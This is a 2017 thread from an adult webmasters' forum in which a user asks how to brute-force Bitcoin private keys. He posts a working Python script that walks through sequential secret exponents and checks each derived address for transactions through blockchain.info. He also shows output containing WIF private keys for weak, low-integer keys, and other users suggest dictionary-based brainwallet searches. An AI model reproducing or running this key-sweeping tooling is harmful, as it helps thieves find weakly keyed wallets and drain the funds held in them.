GoFuckYourself.com - Adult Webmaster Forum

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)
-   Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)
-   -   best way to brute force bitcoin secret keys? (https://gfy.com/showthread.php?t=1257739)

deonbell 04-15-2017 10:22 AM

best way to brute force bitcoin secret keys?
 
best way to brute force bitcoin secret keys?

I was thinking of using python to call bitcoind to create the secret key and public address. Then pass the public address to bitref.com and evaluate the response.

Is there a better way to do this? I have seen the brainwallet hacks. But I want to try something different.

xXXtesy10 04-15-2017 10:49 AM

what operating system you?

Relic 04-15-2017 11:24 AM

Quote:

Originally Posted by deonbell (Post 21707095)
best way to brute force

https://en.wikipedia.org/wiki/Rainbow_table

Ferus 04-15-2017 12:33 PM

python is a easy way to start with process-based parallelism. Think a weekend is enough for most people to understand it. if they have basic math and logic skills.

deonbell 04-15-2017 12:41 PM

Quote:

Originally Posted by xXXtesy10 (Post 21707137)
what operating system you?

Ubuntu 16.04.

I do not expect to find a private key. This is just something I want to see if I can get to run. If I were to create a bitcoin collision with my laptop, Bitcoin would already be fucked.

I do remember an app that was generating the same private key for users. This was due to the app using random.org to find part of the private key. Random.org went to ssl and the app was using a not so random number to generate private keys.

deonbell 04-15-2017 02:22 PM

Great, Looks like I don't need to run a bitcoin core node to find my keys.

I can just create a random key with my own processing starting at zero, Then use a script I found to get the key pairs. Hard part will be to see if there is any balance on the account. I will have to look more into doing this. And I don't want to keep hitting the same webpage to check every few seconds.

Barry-xlovecam 04-15-2017 02:25 PM

open a terminal;

type $ man openssl

deonbell 04-15-2017 02:48 PM

I am going to need to download the entire blockchain. I will order a new external hard-drive. Keep the block-chain updated and search that. Only look to see if I can find the public key.

If I do, Kick out the secret and public key to an output file.

I am sure somebody else has done this. But so much fun.

Barry-xlovecam 04-15-2017 03:16 PM

Reformat that drive ext4 from DOS you will need it it be executable 755, chmod +x [file]

dillfly2000 04-15-2017 05:17 PM

Quote:

Originally Posted by Ferus (Post 21707212)
if they have basic math and logic skills.

Ah shit:Oh crap

DukeSkywalker 04-16-2017 03:38 AM

Quote:

Originally Posted by deonbell (Post 21707095)
best way to brute force bitcoin secret keys?

I was thinking of using python to call bitcoind to create the secret key and public address. Then pass the public address to bitref.com and evaluate the response.

Is there a better way to do this? I have seen the brainwallet hacks. But I want to try something different.

It wont check out in the block chain

Barry-xlovecam 04-17-2017 06:15 AM

Bitcoin Wallets Under Siege From ''Large Collider'' Attack | Fortune.com

You got company

Farang 04-17-2017 07:03 AM

Leave bitcoin alone !!

deonbell 04-17-2017 10:14 AM

Quote:

Originally Posted by Farang (Post 21709486)
Leave bitcoin alone !!

My next question will prove that bitcoin will not suffer at Deon's hand.


Nevermind. Found it.

deonbell 04-17-2017 10:50 AM

Quote:

Originally Posted by Barry-xlovecam (Post 21709447)

Very interesting story. Thanks.

deonbell 04-18-2017 01:01 AM

Interesting things I noticed running bitcoin.sh

Checking the public key for bitcoin addresses integers 69 and 420. Someone used both those number and the wallets were cleared out fairly quick. People waiting to swipe those number fast.

https://bitref.com/1DerC5SzMPgBN4o6yaxcRZ7TMBCDus6nLT

secret exponent: 0x420
public key:
X: EE5C17B274C78B879EDA9341256B15062558283560A0BDCCC8 EBA32032D58638
Y: 282FD0B547EDEA4E87BC1C395449C8AA381FA2DF939E5B0944 F72E4EDA9BF241
compressed:
WIF: KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFUG7EQDf1 cs
bitcoin address: 1138gbpCaTXHe96Ty5cCbVX5uFeBy2Vu7H
uncompressed:
WIF: 5HpHagT65TZzG1PH3CSu63k8DbpvD8s5ip4nEB3kEsrgDkaiQo S
bitcoin address: 1LSJhL8iiLBJ4L2if8btoQz2iDFhAR89Xa
router@router-start:~/Desktop/stuff/btcstuff/bitcoin-bash-tools$ newBitcoinKey 0x69
---
secret exponent: 0x69
public key:
X: F219EA5D6B54701C1C14DE5B557EB42A8D13F3ABBCD08AFFCC 2A5E6B049B8D63
Y: 4CB95957E83D40B0F73AF4544CCCF6B1F4B08D3C07B27FB8D8 C2962A400766D1
compressed:
WIF: KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU7wfED72 cU
bitcoin address: 1LpPxoDsckedWhBHppsbJciGSFH55oSUb2
uncompressed:
WIF: 5HpHagT65TZzG1PH3CSu63k8DbpvD8s5ip4nEB3kEsreNXqEJT k
bitcoin address: 1DerC5SzMPgBN4o6yaxcRZ7TMBCDus6nLT

ruff 04-18-2017 01:35 PM

You're gonna need a hammer.

deonbell 04-21-2017 12:40 AM

Here is my code. I ran it a few times just for kicks. It looks like the API hits blockchain.info. So I put 7 second delay between checks. It generates a secret key and public key. Then it checks if the public key has any transactions. If it does, it stops. Uses inputfile.txt as a starting point. Loops through 200 times add 1 to integer exponent each time.

If you set the inputfile.txt to 100, the program will find keys that have been used.

Most code was stolen, just added to it.

Code:

# Joric/bitcoin-dev, june 2012, public domain

import hashlib
import time
import ctypes
import ctypes.util
import sys
from pybitcointools import *

ssl = ctypes.cdll.LoadLibrary (ctypes.util.find_library ('ssl') or 'libeay32')

def check_result (val, func, args):
    if val == 0: raise ValueError
    else: return ctypes.c_void_p (val)

ssl.EC_KEY_new_by_curve_name.restype = ctypes.c_void_p
ssl.EC_KEY_new_by_curve_name.errcheck = check_result

class KEY:
    def __init__(self):
        NID_secp256k1 = 714
        self.k = ssl.EC_KEY_new_by_curve_name(NID_secp256k1)
        self.compressed = False
        self.POINT_CONVERSION_COMPRESSED = 2
        self.POINT_CONVERSION_UNCOMPRESSED = 4

    def __del__(self):
        if ssl:
            ssl.EC_KEY_free(self.k)
        self.k = None

    def generate(self, secret=None):
        if secret:
            self.prikey = secret
            priv_key = ssl.BN_bin2bn(secret, 32, ssl.BN_new())
            group = ssl.EC_KEY_get0_group(self.k)
            pub_key = ssl.EC_POINT_new(group)
            ctx = ssl.BN_CTX_new()
            ssl.EC_POINT_mul(group, pub_key, priv_key, None, None, ctx)
            ssl.EC_KEY_set_private_key(self.k, priv_key)
            ssl.EC_KEY_set_public_key(self.k, pub_key)
            ssl.EC_POINT_free(pub_key)
            ssl.BN_CTX_free(ctx)
            return self.k
        else:
            return ssl.EC_KEY_generate_key(self.k)

    def get_pubkey(self):
        size = ssl.i2o_ECPublicKey(self.k, 0)
        mb = ctypes.create_string_buffer(size)
        ssl.i2o_ECPublicKey(self.k, ctypes.byref(ctypes.pointer(mb)))
        return mb.raw

    def get_secret(self):
        bn = ssl.EC_KEY_get0_private_key(self.k);
        bytes = (ssl.BN_num_bits(bn) + 7) / 8
        mb = ctypes.create_string_buffer(bytes)
        n = ssl.BN_bn2bin(bn, mb);
        return mb.raw.rjust(32, chr(0))

    def set_compressed(self, compressed):
        self.compressed = compressed
        if compressed:
            form = self.POINT_CONVERSION_COMPRESSED
        else:
            form = self.POINT_CONVERSION_UNCOMPRESSED
        ssl.EC_KEY_set_conv_form(self.k, form)

def dhash(s):
    return hashlib.sha256(hashlib.sha256(s).digest()).digest()

def rhash(s):
    h1 = hashlib.new('ripemd160')
    h1.update(hashlib.sha256(s).digest())
    return h1.digest()

b58_digits = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'

def base58_encode(n):
    l = []
    while n > 0:
        n, r = divmod(n, 58)
        l.insert(0,(b58_digits[r]))
    return ''.join(l)

def base58_decode(s):
    n = 0
    for ch in s:
        n *= 58
        digit = b58_digits.index(ch)
        n += digit
    return n

def base58_encode_padded(s):
    res = base58_encode(int('0x' + s.encode('hex'), 16))
    pad = 0
    for c in s:
        if c == chr(0):
            pad += 1
        else:
            break
    return b58_digits[0] * pad + res

def base58_decode_padded(s):
    pad = 0
    for c in s:
        if c == b58_digits[0]:
            pad += 1
        else:
            break
    h = '%x' % base58_decode(s)
    if len(h) % 2:
        h = '0' + h
    res = h.decode('hex')
    return chr(0) * pad + res

def base58_check_encode(s, version=0):
    vs = chr(version) + s
    check = dhash(vs)[:4]
    return base58_encode_padded(vs + check)

def base58_check_decode(s, version=0):
    k = base58_decode_padded(s)
    v0, data, check0 = k[0], k[1:-4], k[-4:]
    check1 = dhash(v0 + data)[:4]
    if check0 != check1:
        raise BaseException('checksum error')
    if version != ord(v0):
        raise BaseException('version mismatch')
    return data

def gen_eckey(passphrase=None, secret=None, pkey=None, compressed=False, rounds=1, version=0):
    k = KEY()
    if passphrase:
        secret = passphrase.encode('utf8')
        for i in xrange(rounds):
            secret = hashlib.sha256(secret).digest()
    if pkey:
        secret = base58_check_decode(pkey, 128+version)
        compressed = len(secret) == 33
        secret = secret[0:32]
    k.generate(secret)
    k.set_compressed(compressed)
    return k

def get_addr(k,version=0):
    time.sleep(7)
    pubkey = k.get_pubkey()
    secret = k.get_secret()
    hash160 = rhash(pubkey)
    addr = base58_check_encode(hash160,version)
    payload = secret
    if k.compressed:
        payload = secret + chr(1)
    pkey = base58_check_encode(payload, 128+version)
    h = history(addr)
    if h != []:
      print "we found one"
      print addr
      print pkey
      sys.exit()
    return addr, pkey

def reencode(pkey,version=0):
    payload = base58_check_decode(pkey,128+version)
    secret = payload[:-1]
    payload = secret + chr(1)
    pkey = base58_check_encode(payload, 128+version)
    print get_addr(gen_eckey(pkey))

def test(otherversion):
    # random compressed
    #print get_addr(gen_eckey(compressed=True,version=otherversion),version=otherversion)

    # uncomment these to create addresses via a different method
    # random uncompressed
    #print get_addr(gen_eckey())
    # by secret
   
    inputfile = open('inputfile.txt', 'r')
    startdata = inputfile.read()
    inputfile.close()
    print "starting point"
   
    inputlove=startdata.strip() 
 
    inputkey = inputlove.zfill(64)
    startingpoint = inputkey


   
    while int(inputkey) < int(startingpoint) + 200:
        inputkey = str(inputkey)
        inputkey = inputkey.zfill(64)
        print inputkey
        get_addr(gen_eckey(secret=inputkey.decode('hex')))
        inputkey = int(inputkey) + 1

if __name__ == '__main__':
    import optparse
    parser = optparse.OptionParser(usage="%prog [options]")
    parser.add_option("--otherversion", dest="otherversion", default=0,
                    help="Generate address with different version number")
    (options, args) = parser.parse_args()


answeryes = "y"
answercapitalyes = "Y"


print "Y or N  - Ready?"
fileresponse = raw_input()

if fileresponse == answeryes or fileresponse == answercapitalyes:
  test(int(options.otherversion))
else:
  print "maybe next time"


deonbell 04-21-2017 12:08 PM

Would be cool if I could write a script that does a check everytime somebody visits a website. Can't be javascript, because you can't store the keys you searched and you can't record when a key is found with transactions. Would have to be a server side language.

deonbell 04-21-2017 12:29 PM

Any ideas are welcome.

rowan 04-21-2017 09:21 PM

Quote:

Originally Posted by deonbell (Post 21710857)
Interesting things I noticed running bitcoin.sh

Checking the public key for bitcoin addresses integers 69 and 420. Someone used both those number and the wallets were cleared out fairly quick. People waiting to swipe those number fast.

https://bitref.com/1DerC5SzMPgBN4o6yaxcRZ7TMBCDus6nLT

secret exponent: 0x420

Interesting. Maybe you should try it with a set of dictionary words. Probably won't find any available funds, but may find more joke/fun addresses that people have created.

Download the blockchain and figure out RPC so you can query your own client at the full rate. Doesn't even need to be local - you can run bitcoind on a server...

rowan 04-21-2017 09:27 PM

Actually now I think more, I don't think running your own bitcoin client will work with your script, because it only indexes transactions that are related to the keys in your wallet.dat file. There's no RPC API call to say "return all transaction info for address X" - this would require a massive index...

I guess you could generate a bunch of private keys, import them into the client, and rescan the blockchain (-rescan option on client will start from block #0 and look for any transactions associated with local keys) to see if it picks up any extra transactions.

deonbell 04-21-2017 09:48 PM

Quote:

Originally Posted by rowan (Post 21719845)
Actually now I think more, I don't think running your own bitcoin client will work with your script, because it only indexes transactions that are related to the keys in your wallet.dat file. There's no RPC API call to say "return all transaction info for address X" - this would require a massive index...

I guess you could generate a bunch of private keys, import them into the client, and rescan the blockchain (-rescan option on client will start from block #0 and look for any transactions associated with local keys) to see if it picks up any extra transactions.

Yes. I will have to continue to use the python call to blockchain.info.

As for your first post there, I am looking for the public based off an integer. There is what is called a brainwallet hack. It was a key based off a pass phrase. Brainwallet.org changed their site so you have to enter a salt and username and password to mix thing up a bit more. People had been sitting on the private keys with pass phrases like "may the force be with your". As soon as people sent money to the public key, the money was gone.

As you can see, I found this account with a low integer exponent. I sent bitcoin to the account and it was transferred off immediately.

router@router-start:~/Desktop/python/bitcoingen$ python usethis.py
Y or N - Ready?
y
starting point
00000000000000000000000000000000000000000000000000 00000000000104
00000000000000000000000000000000000000000000000000 00000000000105
00000000000000000000000000000000000000000000000000 00000000000106
00000000000000000000000000000000000000000000000000 00000000000107
00000000000000000000000000000000000000000000000000 00000000000108
00000000000000000000000000000000000000000000000000 00000000000109
00000000000000000000000000000000000000000000000000 00000000000110
00000000000000000000000000000000000000000000000000 00000000000111
we found one
1LDMZk7BE99i8PtUQrnE1jKgwyKipBX4yk
5HpHagT65TZzG1PH3CSu63k8DbpvD8s5ip4nEB3kEsrehRFjJL e

https://bitref.com/1LDMZk7BE99i8PtUQrnE1jKgwyKipBX4yk

AllAboutCams 04-22-2017 01:13 AM

I wish i knew how to do this

deonbell 04-22-2017 01:52 AM

I don't really know what I am doing. I really screwed up on this. The input is in hex. So I had to change things around. The input exponent is actually 77 bytes long after conversion from hex.

So my input file looks like this.
D7F2096FE3F3B6902ABC2AFC3BAB9AE3CE8D9303525F050568 9A1507CCA15CE7

Here is the ouput after I run it now.

router@router-start:~/Desktop/python/bitcoingen$ python usethis.py
Y or N - Ready?
y
starting point
97674904567355991655113266145083667907747545640392 289442288010322941462011111
d7f2096fe3f3b6902abc2afc3bab9ae3ce8d9303525f050568 9a1507cca15ce7
97674904567355991655113266145083667907747545640392 289442288010322941462011112
d7f2096fe3f3b6902abc2afc3bab9ae3ce8d9303525f050568 9a1507cca15ce8
97674904567355991655113266145083667907747545640392 289442288010322941462011113
d7f2096fe3f3b6902abc2afc3bab9ae3ce8d9303525f050568 9a1507cca15ce9
97674904567355991655113266145083667907747545640392 289442288010322941462011114
d7f2096fe3f3b6902abc2afc3bab9ae3ce8d9303525f050568 9a1507cca15cea
we found one!
188CwnKs664tu4eKyohvektz6PbsCFPkFK
5KTPcpSHpmDAtYyjYX5VVWwkqRigQtxWf4o5pFYGd9wEGG5K2T q

I sent like .50 cents to that bitcoin address for testing. Go ahead and steal it if you know how.

deonbell 04-27-2017 01:08 AM

Quote:

Originally Posted by deonbell (Post 21720139)

303525f0505689a1507cca15cea
we found one!
188CwnKs664tu4eKyohvektz6PbsCFPkFK
5KTPcpSHpmDAtYyjYX5VVWwkqRigQtxWf4o5pFYGd9wEGG5K2T q

I sent like .50 cents to that bitcoin address for testing. Go ahead and steal it if you know how.

Odd, Nobody wanted to steal my .50 in bitcoin. So I swiped it back. Guess you guys aren't as broke as me.

If anybody wants the new source, that actually works. Let me know. Of course, Finding that 77 byte integer, Is never gonna happen with my script.


All times are GMT -7. The time now is 08:41 AM.

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc